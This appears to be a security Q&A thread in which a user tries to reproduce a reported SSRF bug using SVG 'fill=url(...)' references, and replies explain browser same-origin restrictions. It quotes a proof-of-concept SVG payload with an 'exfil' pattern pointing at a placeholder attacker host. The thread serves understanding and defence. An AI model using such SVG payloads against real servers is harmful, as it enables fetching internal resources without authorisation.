1

I read this interesting report which describes a SSRF vulnerability allowing to fetch internal images by using the url property in a path element. However, even though this vulnerability most likely relies on the server rendering the image, I haven't been able to reproduce the way in which this was accomplished via a simple HTML document.

From what I understand, a path element was used to call external svg elements under the control of the attacker:

<path fill="url(https://yourserver.com/poc.svg#exfil)" stroke="#a1a1a1"

where poc.svg contains this:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<defs>
    <pattern id="exfil" width="512" height="512" patternUnits="userSpaceOnUse">
        <image xlink:href="<redacted>" x="0" y="0" height="256px" width="256px"/>
    </pattern>
</defs>
</svg>

I suppose the <redacted> part is pointing to an image in the vulnerable server. I believe <pattern id="exfil"> is important because many svg elements require that kind of identifier (id) as they reference other elements in the same document. However, I haven't been able to replicate this pattern with the "fill" parameter.

This is basically what I'm doing:

<html>
    <body>
        <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
            <path fill="url(otherpoc.svg#exfil)" d="M150 0 L75 200 L225 200 Z" />
        </svg>
    </body>

</html>

and otherpoc.svg:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<defs>
    <pattern id="exfil" width="512" height="512" patternUnits="userSpaceOnUse">
        <image xlink:href="google.png" x="0" y="0" height="256px" width="256px"/>
    </pattern>
</defs>
</svg>

Now, this works correctly. If I had a google.png file as a local resource, then that would be fetched as intended. However, absolute paths (as in <path fill="url(http://server.com/otherpoc.svg#exfil)") don't seem to work (the url is not resolved). If you want to test this, remember to use Firefox or other browsing allowing this type of URL resolution.

I would appreciate any help.

1

You're trying to reproduce this vulnerability in your browser while the affected server used a different (unnamed) SVG parser with different behavior.

Your browser simply denies to load the pattern linked via <path fill="url(...)" ...> cross-domain because that would be an SOP violation. If referencing elements inside SVG files hosted on different domains was allowed, this could potentially be used by an attacker to extract information.

So, using your example, Firefox rightfully raises:

Security Error: Content at http://localhost/svgsop.html may not load data from http://server.com/otherpoc.svg.
  • Thank you for your response. It is interesting you're seeing that message because in Firefox 54 (64 bits, Linux), I don't see any warning. The request is simply not being generated. I also think it is quite a bit more complex than you what you're describing: svg elements have different SOP's depending on how it is embedded (as image, via object, inline, etc) and some parameters are allowed to retrieve external resources (e.g. <image xlink:href="http://...", <path mask="url(http://...), that's why historically mask, fill, clip-path, filter have been used for data exfiltration. – Robert Smith Nov 6 '17 at 4:27
  • @RobertSmith The error might only be visible in the browser ("chrome") console (Ctrl+Shift+J), and doesn't require any request to be issued. And yeah, embedding remote images is obviously fine, but referencing remote SVG elements is not. – Arminius Nov 6 '17 at 4:40
  • Oh, I was referring to your last paragraph about Firefox. Chrome doesn't fetch anything and also doesn't show any errors with fill. However, filter="url(... ) shows a cross origin error. What about "mask"? Can you retrieve external resources with that? – Robert Smith Nov 6 '17 at 4:52
  • By the way, embedding remote images can also be tricky because it is done via <image xlink:href which is part of the SVG specification, not based on the <img> tag. – Robert Smith Nov 6 '17 at 4:55
  • @RobertSmith I wasn't referring to Google Chrome the browser, but the browser console inside Firefox. See chrome. – Arminius Nov 6 '17 at 14:01

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.